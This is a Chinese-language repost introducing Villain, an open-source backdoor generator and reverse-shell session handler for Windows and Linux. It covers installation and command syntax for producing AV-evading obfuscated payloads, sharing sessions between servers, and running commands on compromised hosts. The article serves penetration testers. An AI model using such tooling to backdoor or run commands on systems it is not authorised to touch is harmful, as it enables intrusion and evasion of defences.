<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Villain:一款針對Windows和Linux的后門生成和多會話處理工具

    VSole2023-01-14 10:20:56

     關于Villain 

    Villain是一款針對Windows和Linux操作系統設計和開發的后門生成與多會話處理工具,該工具允許廣大研究人員與兄弟服務器或其他運行了Villain的設備進行連接,并共享他們的后門會話,以方便廣大研究人員和團隊之間的協同工作。

    Villain生成Payload所采用的機制基于HoaxShell實現,也可以說Villain在這方面是HoaxShell的一個升級版本。

     工具特性 


    1、Villain包含了一個內置的針對Windows平臺的Payload自動混淆功能,旨在幫助廣大研究人員繞過AV解決方案;
    2、該工具生成的每一個Payload只能使用一次,已使用過的Payload不能重新用于會話建立;
    3、兄弟服務器之間的通信是AES加密的,使用接收方兄弟服務器的ID作為加密密鑰,本地服務器的ID的16個第一字節作為IV。在兩個兄弟服務器的初始連接握手期間,每個服務器的ID都是明文交換的,這意味著握手可以被捕獲并用于解密兄弟服務器間的通信。我知道這樣很“弱”,因為該工具設計用于滲透測試/紅色團隊評估期間,對此加密模式應該足夠了;
    4、相互連接的Villain實例(兄弟服務器)也必須能夠直接到達彼此。我打算添加一個網絡路由映射實用程序,以便兄弟服務器可以將彼此用作代理,以實現它們之間的跨網絡通信;

     工具運行機制 

    下圖顯示的是HTTP(S)反向Shell的運行機制:

     工具安裝 

    由于該工具基于Python 3開發,因此廣大研究人員首先需要在本地設備上安裝并配置好Python 3環境。接下來,使用下列命令將該項目源碼克隆至本地:

    git clone https://github.com/t3l3machus/Villain
    (向右滑動、查看更多)
    

    然后切換到項目目錄下,并使用pip命令和項目提供的requirements.txt來安裝該工具所需的其他依賴組件:

    cd ./Villain
    pip3 install -r requirements.txt
    

     工具使用 

    生成后門Payload

    我們可以使用generate命令來生成針對Windows或Linux設備的后門Payload:

    generate os=<OS Type> lhost=<IP or INTERFACE> [ exec_outfile=<REMOTE PATH> domain=<DOMAIN>] [ obfuscate encode constraint_mode ]
    (向右滑動、查看更多)
    

    支持的后門Payload類型如下:

    Windows:PowerShell
    Linux:Bash

    使用樣例:

    # For Windows:
    Villain > generate os=windows lhost=eth0 obfuscate
    Villain > generate os=windows lhost=192.168.12.36 exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1" encode# For Linux:
    Villain > generate os=linux lhost=192.168.12.62
    (向右滑動、查看更多)
    

    連接兄弟服務器

    我們可以使用connect命令連接運行了Villain的設備并共享后門會話:

    connect <IP> <CORE SERVER PORT>
    

    Shell命令

    我們可以使用shell命令來針對一個會話開啟交互式HoaxShell:

    shell <SESSION ID or ALIAS>
    

    exec命令

    exec命令可以針對一個會話在文件系統中執行引用的命令或腳本:

    exec </path/to/local/file> <SESSION ID or ALIAS>
    exec 'net user;Get-Date' <SESSION ID or ALIAS>
    (向右滑動、查看更多)
    

     工具運行截圖 

     視頻演示 

    視頻地址1https://www.youtube.com/watch?v=pTUggbSCqA0

    視頻地址2https://www.youtube.com/watch?v=NqZEmBsLCvQ

     許可證協議 

    本項目的開發與發布遵循CC知識共享許可協議。

     項目地址 

    Villainhttps://github.com/t3l3machus/Villain

    linux服務器linux系統
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    "請用root用戶執行此腳本!#最近啟動時間?#運行時間(天)?#相同ID的用戶?#密碼過期(天)?#允許root遠程登錄?#僵尸進程數量?#自啟動服務數量?"系統巡檢腳本:Version $VERSION"
    Linux的應用越來越普遍,且絕大多數嵌入式系統都使用的是Linux系統。但近期,黑客對Linux服務器進行DDoS攻擊的次數飆升,受DDoS攻擊影響的有70多個國家,其中77%的攻擊都發生在中國,最容易受攻擊的國家還有法國和荷蘭。黑客主要是利用C&C 服務器來集中管理并執行DDoS攻擊,Linux服務器便成了其主要的攻擊目標。面對如此猖獗的黑客攻擊,Linux服務器如何做好預防工作呢?部署
    假如你想要搭建一個Linux服務器,并且希望可以長期維護的話,就需要考慮安全性能與速度等眾多因素。一份正確的linux基本安全配置手冊就顯得格外重要。#為刪除你系統上的用戶,用下面的命令:[root@c1gstudio]# userdel username#批量刪除方式#這里刪除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "賬號#如果你開著ftp等服務可以把ftp賬號保留下來。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
    #更改SSH端口,最好改為10000以上,別人掃描到端口的機率也會下降。防火墻要開放配置好的端口號,如果是阿里云服務器,你還需要去阿里云后臺配置開發相應的端口才可以,否則登不上哦!如果你覺得麻煩,可以不用改。#禁用版本1協議, 因為其設計缺陷, 很容易使密碼被黑掉。關鍵在于環境變量的不同,su -的環境變量更全面。#禁止空密碼登陸。保存,用 uusama 賬戶登錄后,直接獲取的就是 root 帳號的權限。
    Linux是一種開源操作系統,它支持各種硬件平臺,Linux服務器全球知名,它和Windows之間最主要的差異在于,Linux服務器默認情況下一般不提供GUI(圖形用戶界面),而是命令行界面,它的主要目的是高效處理非交互式進程,響應時間并不是那么重要,相反,能夠長時間處理高負載才是最關鍵的。
    當企業發生網絡安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,同時還需進一步查找入侵來源,還原入侵事故過程,給出解決方案與防范措施,為企業挽回或減少經濟損失。 常見的網絡安全事件:
    SSH 是一種廣泛使用的協議,用于安全地訪問 Linux 服務器。但是,不安全的默認配置也會帶來各種安全風險。具有開放 SSH 訪問權限的服務器的 root 帳戶可能存在風險。因此,有必要了解 SSH 安全性。這是在 Linux 上保護 SSH 服務器連接的方法。關閉 root 用戶的服務器訪問是一種防御策略,可以防止攻擊者實現入侵系統的目標。例如,您可以創建一個名為exampleroot的用戶,如下所示:useradd?
    如果你的Linux服務器突然負載暴增,告警短信快發爆你的手機,如何在最短時間內找出Linux性能問題所在?來看Netflix性能工程團隊的這篇博文,看它們通過十條命令在一分鐘內對機器性能問題進行診斷。概述 通過執行以下命令,可以在1分鐘內對系統資源使用情況有個大致的了解。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类